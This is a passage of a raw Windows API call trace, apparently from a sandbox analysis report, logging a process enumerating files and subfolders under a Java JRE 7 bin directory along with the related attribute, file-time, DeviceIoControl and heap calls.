ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0088.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.114] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0088.115] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.115] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.115] NtClose (Handle=0x16c) returned 0x0 [0088.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e360 [0088.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e3e8 [0088.116] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.116] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.116] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x76eb12e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76ed7440, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0088.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcc08 [0088.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e4f8 [0088.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.118] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3665a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0088.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.119] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0088.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcc28 [0088.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e580 [0088.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.121] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0088.121] GetLastError () returned 0x12 [0088.121] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0088.121] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.121] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.121] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x76eb12e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76ed7440, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0088.121] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3665a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0088.121] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0088.121] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0088.121] GetLastError () returned 0x12 [0088.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e3e8) returned 1 [0088.121] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0088.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e360) returned 1 [0088.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.122] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0088.122] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora-sse.dll", cAlternateFileName="")) returned 1 [0088.122] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x58fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0088.122] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0088.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.122] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\dtplugin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0088.123] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0088.124] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0088.124] NtClose (Handle=0x124) returned 0x0 [0088.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e360 [0088.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e3e8 [0088.125] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0088.125] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.125] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc25a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="")) returned 1 [0088.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.126] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="")) returned 1 [0088.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e470 [0088.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e470) returned 1 [0088.128] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="")) returned 0 [0088.128] GetLastError () returned 0x12 [0088.128] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.128] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0088.128] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.128] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc25a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="")) returned 1 [0088.128] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="")) returned 1 [0088.128] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="")) returned 0 [0088.128] GetLastError () returned 0x12 [0088.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e3e8) returned 1 [0088.128] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e360) returned 1 [0088.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x263a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="")) returned 1 [0088.129] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, 